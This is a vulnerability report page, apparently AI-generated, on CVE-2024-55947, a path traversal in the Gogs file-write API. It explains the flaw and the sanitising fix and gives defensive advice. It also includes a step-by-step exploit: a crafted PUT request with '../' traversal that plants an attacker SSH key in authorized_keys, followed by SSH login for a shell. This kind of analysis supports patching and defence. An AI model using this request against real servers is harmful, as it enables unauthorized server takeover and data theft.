CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2024-55947
8.881.78%

Gogs Gone Wild: Path Traversal to RCE via SSH Key Overwrite

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·3 visits

PoC Available

Executive Summary (TL;DR)

Gogs API didn't sanitize file paths. Bad guys can send `../../` to write files outside the repo. Writing your own SSH key to `~/.ssh/authorized_keys` equals instant RCE. Fixed in 0.13.1.

A critical Path Traversal vulnerability in Gogs (Go Git Service) allows authenticated users to escape the repository directory and write arbitrary files anywhere on the host filesystem. By exploiting the 'PutContents' API, attackers can overwrite the `authorized_keys` file of the user running the Gogs process (typically `git`), granting them immediate SSH access and Remote Code Execution (RCE) on the server.

The Hook: When "Self-Hosted" Means "Self-Pwned"

Gogs (Go Git Service) has always been the darling of the self-hosted community. It's lightweight, written in Go, and easy to deploy. It promises a GitHub-like experience on your own hardware, giving you full control over your code. Unfortunately, in versions prior to 0.13.1, it also gave anyone with a login full control over your server.

This isn't your garden-variety cross-site scripting bug where you steal a cookie and feel cool for five minutes. This is a catastrophic implementation failure in how Gogs handles file paths. Specifically, the API endpoints responsible for creating and updating files trusted user input a little too much. It assumed that when a user asked to update a file, they meant a file inside the repository.

But as any seasoned breaker of things knows, assumptions are the mother of all exploits. By neglecting to sanitize file paths, Gogs created a direct tunnel from a web request to the underlying filesystem. It turned a feature designed for editing README.md into a tool for overwriting ~/.ssh/authorized_keys, handing over the keys to the kingdom on a silver platter.

The Flaw: Climbing the Directory Tree

The vulnerability (CWE-22) resides in the PutContents API, specifically at PUT /api/v1/repos/{owner}/{repo}/contents/{path}. In a secure world, the application would take the {path} parameter, strip out any shenanigans, and ensure the final destination resolves to a subdirectory of the repository root. Gogs, however, decided to play it fast and loose.

When the backend received a request to write a file, it took the user-supplied treePath (the file path) and essentially concatenated it with the repository's base directory. The fatal mistake was failing to neutralize directory traversal sequences—the infamous ../ (dot-dot-slash). In the Unix world, ../ means "go up one folder."

If you tell Gogs to write to config/app.ini, it writes to /home/git/gogs-repositories/user/repo.git/config/app.ini. Fine. But if you tell it to write to ../../../../.ssh/authorized_keys, the application obediently traverses up the directory tree, escaping the repository jail entirely. It lands squarely in the home directory of the user running the process, ready to overwrite whatever sensitive config files live there.

The Code: A Lesson in Sanitization

Let's look at the smoking gun. The fix, implemented in Pull Request #7859, reveals exactly what was missing. The developers introduced a new helper function, pathutil.Clean, to wrap untrusted input before using it. This acts as a scrubber, chemically washing the input before it touches the filesystem APIs.

Here is the sanitization logic they had to add in internal/pathutil/pathutil.go:

// Clean cleans up given path and returns a relative path that goes straight
// down to prevent path traversal.
func Clean(p string) string {
    // Step 1: Normalize Windows backslashes to forward slashes
    p = strings.ReplaceAll(p, `\`, "/")
    
    // Step 2: Use Go's robust path.Clean on an absolute path representation
    // This resolves "/foo/../bar" to "/bar"
    return strings.Trim(path.Clean("/"+p), "/")
}

Before this patch, the application likely used raw string concatenation or a naive filepath.Join without prior cleaning, which, depending on the implementation and operating system, doesn't always strip traversal characters if the input is treated as a relative path component. The fix forces the path to be absolute (temporarily) to resolve the ../ sequences using path.Clean, and then strips the leading slash to ensure the result is a safe, relative path that cannot ascend above its root.

The Exploit: From API to Shell

So, how do we weaponize this? We need an authenticated account with 'Writer' access to a repository. Once we have that, we don't need to find a buffer overflow or leak memory addresses. we just need to ask Gogs nicely to let us in.

Step 1: The Setup First, generate a new SSH keypair on your attacking machine: ssh-keygen -t ed25519 -f gogs_pwn Copy the contents of gogs_pwn.pub.

Step 2: The Payload Construct a malicious PUT request. We are aiming for the .ssh directory of the user running Gogs (usually git).

PUT /api/v1/repos/target_user/target_repo/contents/../../../../.ssh/authorized_keys HTTP/1.1
Host: gogs.target.local
Authorization: token [YOUR_API_TOKEN]
Content-Type: application/json
 
{
  "message": "Oops, I dropped my keys",
  "content": "[BASE64_ENCODED_PUBLIC_KEY]",
  "branch": "master"
}

Step 3: The Prestige Send the request. Gogs processes the path ../../../../.ssh/authorized_keys. It resolves the traversal, escapes the repo folder, finds the .ssh directory, and writes your public key into the authorized_keys file.

Step 4: The Shell ssh -i gogs_pwn git@gogs.target.local

Congratulations. You are now the git user. You have full shell access to the server, access to all repositories, environment variables (database credentials), and a pivot point into the internal network.

The Impact: Why You Should Panic

The CVSS score is 8.8 (High), but functionally, this is a critical catastrophe for affected instances. The requirement for authentication is a low barrier to entry—any developer, contractor, or compromised account with write access to any repository can take over the entire server.

If Gogs is running inside a Docker container, you own the container. You can dump the database, steal source code, or use the container to launch attacks against other services in the mesh. If Gogs is running on bare metal (a common setup for small teams), you own the host. You can pivot to root using local privilege escalation exploits, install persistence, or deploy ransomware.

What makes this particularly nasty is the stealth. Modifying authorized_keys doesn't crash the service. It doesn't spike CPU usage. Unless you have file integrity monitoring on your SSH configuration (and let's be honest, you probably don't), the attacker can maintain access indefinitely, blending in with legitimate Git traffic.

The Fix (and the caveat)

Remediation is straightforward but urgent: Upgrade Gogs to version 0.13.1 immediately. This version includes the pathutil.Clean fix that neutralizes the traversal path characters.

> [!WARNING] > Heads Up: Security is a game of whack-a-mole. While version 0.13.1 fixes this specific traversal issue, researchers (specifically from Wiz) later found that this fix could still be bypassed using symlinks (tracked as CVE-2025-8110). If the attacker can commit a symlink to the repo, they can trick the validator.

Defense in Depth:

  1. Run as a dedicated user: Never run Gogs as root.
  2. Containerize: Use Docker to isolate the application. Ensure the container has no volume mounts for sensitive host directories like /root or /home.
  3. WAF Rules: Configure your WAF to block requests containing ../ or %2e%2e%2f in the URL path, although this is a flimsy shield against encoded variations.

Official Patches

GogsGogs v0.13.1 Release Notes
GitHubPull Request #7859 implementing pathutil.Clean

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
81.78%
Top 1% most exploited

Affected Systems

Gogs (Self-Hosted Git Service)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Gogs
Gogs
< 0.13.10.13.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.18.8 (High)
Attack VectorNetwork (Authenticated)
EPSS Score81.78% (High Probability)
ImpactRemote Code Execution (RCE)
KEV StatusNot Listed (but bypass CVE-2025-8110 is active)

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1078Valid Accounts
Initial Access
T1098Account Manipulation
Persistence
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing the reproduction steps and impact analysis.

Vulnerability Timeline

Initial community reports of traversal issues
2024-03-27
Fix implemented in PR #7859
2024-12-15
CVE-2024-55947 Published
2024-12-23
Gogs v0.13.1 Released
2024-12-23

References & Sources

  • [1]Initial discussion on file editing security
  • [2]NVD Entry for CVE-2024-55947
Related Vulnerabilities
CVE-2025-8110

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.